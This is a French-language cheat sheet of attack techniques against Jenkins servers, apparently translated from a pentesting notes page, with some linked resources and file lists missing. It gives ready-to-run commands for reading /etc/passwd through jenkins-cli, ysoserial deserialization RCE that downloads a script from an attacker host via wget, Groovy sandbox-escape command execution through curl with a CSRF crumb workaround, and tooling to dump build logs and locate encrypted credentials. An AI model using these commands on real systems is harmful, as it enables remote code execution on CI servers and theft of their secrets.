
Notes sur l'attaque des serveurs Jenkins
Authentifié, peut récupérer un fichier complet :
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Non authentifié ou sans les permissions Global/Read, ne peut lire que 3 lignes : Read first line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Read second line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Read third line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
Comment bruteforcer la clé de chiffrement des identifiants.
Utilisez ysoserial pour générer une charge utile. Puis exécutez la RCE à l'aide de ce script :
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Détails ici.
Si le serveur Jenkins demande une authentification mais renvoie des données valides avec la requête suivante, il est vulnérable :
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Vulnérabilité RCE originale ici, exploit complet ici.
Autre possibilité de RCE avec les permissions Overall/Read et Job/Configure ici.
Vérifiez si une instance Jenkins est vulnérable (nécessite les permissions Overall/Read) avec un peu de Groovy :
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Remarque : si vous obtenez une erreur 403 concernant un crumb manquant (qui est une protection CSRF dans Jenkins), vous pouvez peut-être obtenir la valeur du crumb via une requête GET vers https://example.com/crumbIssuer/api/json. La valeur du crumb doit ensuite être ajoutée à la requête POST dans un en-tête Jenkins-Crumb.
Exécutez des commandes bash arbitraires :
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
Si vous n'obtenez pas immédiatement un shell inverse, vous pouvez déboguer en levant une exception :
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
Cette exploitation ne fonctionne que si un utilisateur possède les droits « Jobs/Configure » dans la matrice de sécurité ; elle est donc très spécifique.
Notez que cette vulnérabilité n'est exploitable qu'en utilisant un Update Center dédié et obsolète. Par conséquent, la plupart des serveurs ne sont pas vulnérables.
Utilisez ce script pour extraire les sorties de console des builds et les variables d'environnement des builds, dans l'espoir de trouver des secrets en clair.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Utilisez ce script python ou ce script powershell.
Ces fichiers sont nécessaires pour déchiffrer les secrets Jenkins :
De tels secrets se trouvent généralement dans :
Voici une expression régulière pour les trouver :
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"